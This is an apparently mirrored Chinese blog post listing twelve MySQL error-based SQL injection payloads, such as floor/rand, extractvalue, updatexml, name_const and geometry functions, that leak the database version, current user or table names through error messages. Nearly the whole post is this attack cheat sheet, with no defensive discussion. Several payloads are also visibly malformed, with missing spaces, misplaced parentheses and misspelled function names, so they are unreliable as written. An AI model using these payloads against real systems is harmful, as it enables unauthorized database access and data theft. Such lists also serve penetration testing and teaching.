zoukankan      html  css  js  c++  java
  • 报错注入函数

    1、通过floor报错,注入语句如下:   

    and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    2、通过ExtractValue报错,注入语句如下:

    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

    3、通过UpdateXml报错,注入语句如下:

    and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

    4、通过NAME_CONST报错,注入语句如下:

    and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

    5、通过join报错,注入语句如下:

    select * from(select * from mysql.user ajoin mysql.user b)c;

    6、通过exp报错,注入语句如下:

    and exp(~(select * from (select user () ) a) );

    7、通过GeometryCollection()报错,注入语句如下:

    and GeometryCollection(()select *from(select user () )a)b );

    8、通过polygon ()报错,注入语句如下:

    and polygon (()select * from(select user ())a)b );

    9、通过multipoint ()报错,注入语句如下:

    and multipoint (()select * from(select user() )a)b );

    10、通过multlinestring ()报错,注入语句如下:

    and multlinestring (()select * from(selectuser () )a)b );

    11、通过multpolygon ()报错,注入语句如下:

    and multpolygon (()select * from(selectuser () )a)b );

    12、通过linestring ()报错,注入语句如下:

    and linestring (()select * from(select user() )a)b );
    勿做伸手党,勤思考,总能成就一番事业。
  • 相关阅读:
    认识Linux
    Java之安装环境
    Markdown学习
    使用cacti监控linux server的接口流量
    IDRAC安装dell服务器操作系统(linux or windows),用到生命周期管理器
    网络编程--练习题
    linux搭建ntp服务器-添加交换机客户端,windows客户端
    linux centos7搭建redis-5.0.5
    linux centos7搭建mysql-5.7.29
    对称加密与非对称加密
  • 原文地址:https://www.cnblogs.com/X-caiji/p/13186633.html
Copyright © 2011-2022 走看看